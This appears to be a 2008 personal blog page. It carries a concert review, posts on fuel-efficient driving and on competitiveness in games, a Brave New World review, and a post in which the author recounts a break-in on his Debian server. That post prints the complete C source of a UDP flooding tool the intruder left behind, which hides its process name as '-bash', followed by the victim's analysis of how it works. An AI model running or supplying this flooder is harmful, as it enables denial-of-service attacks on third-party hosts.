The Blogg

March 30, 2008

Concert Review: Big Noize

Filed under: Music — chadhogg @ 11:38 pm

Every other time I have been to Crocodile Rock Cafe, I was able to walk through the bar back to the room where the concerts are. Tonight the bar was closed, and we instead had to stand in line in a dark alley beside the building behind a side entrance. The show was advertised as “doors 8:00″, but the door did not actually open until 8:35. In the meantime, there were a lot of angry fans dressed for a long night in a hot room instead huddling in a windy 40 degree night. Definitely not a good move by the venue management.

The first band, Hole In The Sun (http://www.myspace.com/acousticsabbath) came on stage around 9:00 and played for about 45 minutes. The trio (drums, bass, guitar/vocals) refers to themselves as the “ultimate acoustic tribute to Black Sabbath”, and I can’t imagine they have much competition for the title. The drummer and bassist were good, but the guitarist did not quite live up to the (already low) standards of Tony Iommi and her vocal style really did not fit the music. That said, the acoustic arrangements of Sabbath classics like “The Wizard”, “Snowblind”, and “Fairies Wear Boots” were surprisingly effective.

The next opener was The Jersey Syndicate (http://www.thejerseysyndicate.com), who played from 10:00 until 10:35. The band consists of drums, bass, two guitarists, keyboards, and a vocalist. Their music (all originals as far as I could tell) reminded me of Journey, if Journey’s music had been much heavier and they had been fronted by Stevie Nicks. I think I would have really enjoyed the performance, but the soundman did them no favors. Somehow, regardless of which guitarist was playing lead at any given moment, he was overpowered by the rhythm player and the rest of the band. I rarely find female vocals enjoyable in hard rock, but this lady had a great, appropriate voice.

It took only 15 minutes to set the stage, tune the instruments, and check the mics. Unfortunately, we were forced to wait another 50 minutes before the next band would actually perform. This was the biggest crowd I’ve ever seen in Croc Rock, probably around 350, and after the ignominy of waiting in the cold for the doors, patience for this delay was not high. Unnecessarily long waits between acts seems to be par for the course here, and I am starting to think the management is on some sort of power trip from making people wait. (Or maybe they just, sensibly, want to maximize the time that people are there buying drinks while minimizing the cost of entertainment.)

The headliner was Big Noize (http://www.myspace.com/abignoize), a self-proclaimed supergroup of Joe Lynn Turner on vocals (previously of Rainbow, Deep Purple, and Yngwie Malmsteen’s Rising Force), Carlos Cavazo on guitar (formerly of Quiet Riot), Phil Soussan on bass (formerly of Ozzy Osbourne), and Vinny Appice on drums (formerly of Dio, Ozzy Osbourne, Black Sabbath, and currently of Heaven & Hell). Teddy Andreadis (formerly of Guns N’ Roses) joined the band on keyboards and harmonica, although he is not listed as an official member. For the most part, the members had been part of their more famous acts late in the band’s careers, after their period of greatest creative output had ended. Nevertheless, they put on a good show, consisting of Mob Rules (Black Sabbath), Crazy Train (Ozzy Osbourne), Rainbow In The Dark (Dio), Stone Cold (Rainbow), Shot In The Dark (Ozzy Osbourne), Street Of Dreams (Rainbow), The Last In Line (Dio), Cum On Feel The Noize (Quiet Riot), Metal Health (Quiet Riot), Ready For Love (Bad Company), Highway Star (Deep Purple), Long Live Rock ‘N’ Roll (Rainbow), and Tush (ZZ Top).

I was surprised by Cavazo’s virtuosity, given the tepidness of Quiet Riot’s hit songs, but I suppose anyone who was able to replace the late, great Randy Rhoads must be rather exceptional. Andreadis was rarely audible, and on “Highway Star” he couldn’t quite keep up with Jon Lord. Joe Lynn Turner was quite impressive, covering the vocal styles of many great frontmen with ease. He certainly sounded much better than Ian Gillan did when I heard the current incarnation of Deep Purple last year.

This was apparently only the fifth gig by the band, and the performance was quite enthusiastic. You could definitely tell that this was a group of friends getting together to play songs from the old days and that they were loving every minute of it. For the $15 ticket price, it was a great evening. I made a recording of the show, which I would be happy to make available to anyone I know personally.

March 22, 2008

Efficient Driving

Filed under: Personal — chadhogg @ 3:40 pm

I recently read a bit about hypermilers, people who go to great efforts to get the very best possible efficiency (in terms of distance traveled to fuel consumed) out of their vehicles. While I certainly do not go to such extremes as these people, I found that I use many of the same techniques myself. Particularly, I try to avoid braking whenever possible. My goal is generally to avoid touching the accelerator or brake pedal at all once I have reached 25 MPH, where the cruise control system becomes usable. If I see an obstacle ahead or a stoplight that is likely to be red if I continue at my present speed, I try to start coasting early enough that I will slow to the speed of the obstacle before reaching it or do not get to the light before it changes. When the way in front of me is clear and I am going slower than preferred, I adjust the cruise control to gradually accelerate to the desired speed. When stuck in bumper-to-bumper traffic, I slowly idle forward continuously instead of accelerating to 5 MPH, breaking, accelerating, breaking, etc.

This style of driving seems obvious to me, but it is clear that few people practice it. It always amazes me how much these driving techniques seem to bother some of the other drivers around me. Very frequently, there is someone willing to speed up to pass me, then pull to a screeching halt right in front of me. A mile after the light, we have gone the same distance, but I suppose he gains some satisfaction from having passed the “idiot” who was slowing traffic down.

I cannot say that I base my driving habits on a concern for environmental welfare or foreign oil dependence, although I believe they are worthy causes. Nor are my actions primarily motivated by economic concerns, although I am certainly glad to be able to put off a trip to the gas station. One reason is, perhaps, that driving this way is a bit of a game; it gives my mind something slightly more complicated to think about during what can otherwise be a fairly boring task. Otherwise, I think I do this simply because it seems somehow fundamentally wrong to be doing something less efficiently than possible. This is the curse of the premature optimizer: if a machine (or computer program in my case) is less efficient than possible, then it can and should be redesigned to be more elegant.

In the case of driving, of course, there are three relevant variables: fuel consumed, distance traveled, and time used. Unlike the hypermilers, I am only willing to focus on fuel efficiency when I can do nothing significant about time efficiency. Thus, I am quite willing to exceed the speed limit when I believe I can do so safely and with minimal risk of legal consequences. I am starting to think about changing this practice, however. As speed increases, the benefits of increasing speed by a small margin become less and less significant. For example, I am about to leave on a trip to my parents’ house to celebrate Easter. This trip usually take 90 minutes, and around 44 miles of it are on highway-like conditions. According to the table below, going 70 MPH instead of 55 MPH through that highway time would only save me (1.09min/mile – 0.86min/mile) * 44miles = 10.12 minutes. Is that time significant? It can be, but I would have to know how much more fuel I am burning to do so.

Speed Time/Mile Time/100 Miles
55 MPH 1.09 minutes 1 hour, 49 minutes
60 MPH 1.00 minutes 1 hour, 40 minutes
65 MPH 0.92 minutes 1 hour, 32 minutes
70 MPH 0.86 minutes 1 hour, 26 minutes
75 MPH 0.80 minutes 1 hour, 20 minutes

Unfortunately, I have no particularly good way to determine that. I would love to see a graph of mileage / speed for my Ford Escort, but have not been able to find such a thing on the Internet. My limited knowledge of mechanical engineering leads me to believe that the engine will be most efficient at the lowest speed where it uses its highest gear, but I do not know what that speed is or how friction and wind resistance would affect this. I’ve thought about running an experiment where I drive 10 miles or so at a constant speed several times, varying the speed and filling my tank between each run. However, this would require an open track where I could realistically maintain a constant speed and would probably waste more fuel than I would save through the knowledge I would gain.

March 13, 2008

Book Review: Brave New World

Filed under: Books — chadhogg @ 12:32 am

Perhaps each deserves to be considered on its own merits, but the comparison between Brave New World and Nineteen Eighty-Four is inevitable. I found Orwell’s work to be the more engrossing, but Huxley paints a much more frighteningly realistic picture.

Apparently Orwell reviewed Brave New World in 1940 and claimed that it “probably cast no light on the future” (with the unspoken implication that his own work did). During the Battle Of Britain this was a very reasonable belief, but now that fascism has fallen out of favor and societal fear and deprivation are virtually unknown in the West the slow, pleasant decay of Brave New World seems much more probable. (That is not to say that there are not ways in which modern society distrubingly mirrors Oceania. Winston Smith would find the perpetual Wars on Terror and Drugs entirely familiar.)

The World State worships stability and happiness, which are certainly among the causes du jure in the United States currently. One of the principal purposes of people in Brave New World is to consume, and Americans seemingly have become consumers first, labor second, and citizens a distant third in the mindsets of corporate managers. People who lived in the shadow of Stalin may find Nineteen Eighty-Four realistic, but it is the Brave New World that is strikingly similar to my experiences.

There are times when it seems Huxley could use a dash of sublety. For example, the second chapter of Brave New World describes the Pavlovian conditioning of lower-caste toddlers that makes it quite obvious what a horrific process is occurring. Orwell, I think, would have written about the scene from the perspective of one of his characters who finds it perfectly benign, making the reader all the more disturbed when he begins to grasp what is truly happening. In other cases, Huxley uses this same technique quite effectively, as in the frequent emphatic statements that Bernard Marx is very different from the rest of the population while the reader sees by his actions that he is well conditioned indeed.

Unlike most of the books that I have been reviewing, I had previously read Brave New World 8 years ago. Although that is not a very long time, I found that I had completely forgotten the characters and plot of the book, and only found them very vaguely familiar as I read through the is a second time. I had very vivid and accurate memories, however, about the setting of A. F. 632 and the society of The World State. I suspect this is indicative of the contribution of the work: the saga of Bernard and the Savage are simply a vehicle for the social commentary and warning.

As an aside, my attempts to understand John’s allusions made me aware that my knowledge of Shakespeare has similarly atrophied. I know Hamlet well and have at least a fair memory of Macbeth and Romeo And Juliet, but I can only remember a single thing about A Midsummer Night’s Dream: that one of the characters is a fairy named Puck.

March 12, 2008

Sigaserver Under Attack!

Filed under: Administration,Personal — chadhogg @ 12:43 am

I am not a particularly knowledgeable or conscientious system administrator, but I usually get by. Debian generally makes it easy enough to figure out how to do whatever I need, and I assume that simply by not using Windows and taking those precautions that I know about will lower my risk of a security breach to a negligible level. Unfortunately, that assumption appears not to be valid.

Starting last night, my Internet connection slowed to a crawl, and eventually even my internal network became unusable. With the help of some esteemed colleagues and friends I was able to find the source of this problem: a cracker had remotely logged into sigaserver and executed a rogue program that was overloading the network with spurious traffic. I am fairly good about using strong passwords, but I had created an account for my wife to backup her laptop hard drive 6 months ago and did not do so. Perhaps (as I remember it) I asked her to login and change the generic to a strong password and she failed to do so, or perhaps (as she remembers it) I had intended to do this but ended up making the transfers myself and never asking her to login. In any case, a scanner was able to guess her password and login.

Thankfully, it appears that the root user was not compromised and I was able to return the machine to its normal state by simply killing the rogue processes and disabling her account. I went looking to find the program being run, and found two files owned by my wife’s account in /tmp: an executable named “udkb” and a source file named “udkb.c”, the contents of which are printed below.

#define BOMB_STRING "1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF"
#define BOMB_SIZE 1480
#define ALRMTIME 300
#define FAKENAME "-bash"
// snipped standard includes

struct sockaddr_in addr;
unsigned char host[1024]={0};

unsigned long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
        return lookup("127.0.0.1");
      }

    return *(unsigned long *)hp->h_addr;
}

void  handler(int n)
{
    addr.sin_addr.s_addr=lookup(host);
    printf("new host %s\n",inet_ntoa(addr.sin_addr));
    alarm(ALRMTIME);
    return;
}
int main(int argc, char **argv)
{
    int s;
    int on;
    unsigned short port;
    unsigned psent=0;

    signal(SIGALRM,handler);
    alarm(ALRMTIME);
    if(argc != 3)
    {
        fprintf(stderr, "Syntax: %s  \n",argv[0]);
        exit(0);
    }
    strcpy(host,argv[1]);
    port=htons(atoi(argv[2]));
#ifdef FAKENAME
    strncpy(argv[0],FAKENAME,strlen(argv[0]));
    for (on=1;on < argc ;on++) memset(argv[on],0,strlen(argv[on]));
#endif                  

    s=socket(AF_INET,SOCK_DGRAM,0);
    addr.sin_addr.s_addr=lookup(host);
    addr.sin_family=AF_INET;
    addr.sin_port=port;

    if(s<0) exit(0);
    for(;;)
    {
        sendto(s, BOMB_STRING, BOMB_SIZE, 0,(struct sockaddr *) &addr,sizeof(struc
t sockaddr_in));
        usleep(10000);
        psent++;
    }
}

I noticed a few interesting things about this. First, it attempts to disguise its presence (and indeed it works) by overwriting the values of its argument list to look like an invocation of the shell with no arguments. The fact that the writer attempted this and that it works means that utilities such as ps read this information from the memory space of each process, which I find quite odd. I am not very familiar with the UNIX process model, but would have expected this information to be stored in the process control block (as well as copied to the process's memory space for its own use). To allow each process to alter the information returned by process monitors about it other than as a part of a call to exec seems like a minor security vulnerability with no legitimate use.

By my understanding, this program sends a rather useless message (the hexadecimal digits (hexits?) repeated 3 times) to a specified host every 10,000 microseconds (100 each second). It also checks to see if the specified hostname is associated with a new IP address every 5 minutes. Thus, it seems I was an unwitting part of a distributed denial-of-service attack against 217.79.190.56 which was apparently successful, because it does not respond to pings or HTTP requests.

March 4, 2008

On Competition

Filed under: Personal — chadhogg @ 9:23 pm

I consider myself a fairly competitive person when it comes to games. I love card games of all types, board games, computer games, role-playing games, and competitive sports (despite being terribly unathletic). In those games where there is a winner and a loser (that is, most games), I strive to the best of my ability to be the winner. That does not mean that I would “win at all costs” (cheat). Doing so would destroy everything that makes the game enjoyable. Nor does it mean (I hope) that I am a “bad loser” (sulking) or a “bad winner” (gloating). In the grand scheme of things, I could not care less whether I win or lose a game. Within the confines of the game, however, I care more than anything.

I do not think that this competitiveness extends to the rest of my life. I try to do my best (to the extent that I can do so while being lazy), but not at the expense of others. In a game, if I were to gain an advantage over the other players, I would ruthlessly exploit it to expand my lead as much as possible without a second thought. In life, I hope that I would do what I could to help those who lacked the same advantage. I suspect part of this difference is due to the fact that little in real life can be modeled as a zero-sum game, while part is because of compassion and the other nobler facets of the human spirit.

I have been fortunate to find many other people who share my competitiveness among my family and friends, and we have been able to enjoy a great many games together. On occasion we have had heated arguments when the rules of a game were ambiguous enough to support different reasonable interpretations among the members of the group, but our respect for each other always prevented these disagreements from extending beyond the realm of the game and affecting our friendships. In two semi-recent experiences, I have encountered people who seem to view games quite differently, much to my surprise and frustration.

The first instance was when my wife and I taught my parents-in-law, sister-in-law, and brother-in-law-in-law the card game Scum while we were home for the winter holidays. (Note: if you are interested, I am currently writing a book on folk card games such as this. If I ever actually finish it (unlikely), I would be happy to provide you with a copy.) One of the features of this game is that, at the beginning of each round, certain players must give the best cards in their hand certain other players. Because the contents of each player’s hand is known only to him, this depends on a trust that each player will behave honestly. When we began playing the game, nearly every hand would start with one of the players passing an absurdly low card, the receiver complaining, and then the passer replacing it with the one the rules required him to pass. The first time this happened I laughed with everyone else, and perhaps the second time as well. As the game went on, however, I began to find it increasingly annoying. I’ve been accused of having a poor sense of humor before, and it is possible my view of humor simply differed from that of the other players. As I thought about the experience, however, I realized that I would not have been so annoyed in almost any other circumstance. A game is meant to be a fun, social time, and is always more enjoyable with humor. There is something about ignoring the rules, however, that I cannot find funny. If one is going to participate in the game, he owes it to the other players to take the rules seriously.

The other experience was a few weeks ago when I was celebrating a friend’s birthday with some of my other college friends and a few people I had not previously met. During this party, several of us were playing Monopoly. One of the players was a young woman I did not know who had a very different perspective on the game. As anyone who has played a few games of Monopoly knows, the practice of making mutually beneficial trades is necessary. Whenever someone brought a trade proposal to this girl, she responded with “whatever you want” or “sure, I don’t want to WIN”. It was not that she did not understand the mechanics of the game, she simply did not care. The idea that someone might take deliberate actions toward winning the game seemed completely foreign to her. Just as she could not understand my motivation, I found hers quite inscrutable. If a person has no interest whatsoever in the outcome of a game, then I cannot understand why they would play a game. How could it possibly be fun?

There was another young woman in that Monopoly game who is a good friend of mine. She played the game much as I would for an hour or two, but when it became clear that she was a very longshot to win, she began making extremely lopsided trades to the benefit of her husband and the detriment of herself and all other players. Before these moves three of us had been in roughly equally strong positions, but this significant advantage allowed her husband to win rather easily. In this case I understood her motivation, but found her behavior quite irritating. The game is fun because, in spite of the large randomness, the game is fair when all players act in their own interest (that is, the only factor considered when making a move is whether it increases or decreases their chance of winning the game). If two or more players collude the game becomes unfair to the extent that any sense of competition is destroyed.

As they say about such things, “it is only a game”. Nevertheless, I find these different perspectives quite interesting. What does all of this say about me?

Powered by WordPress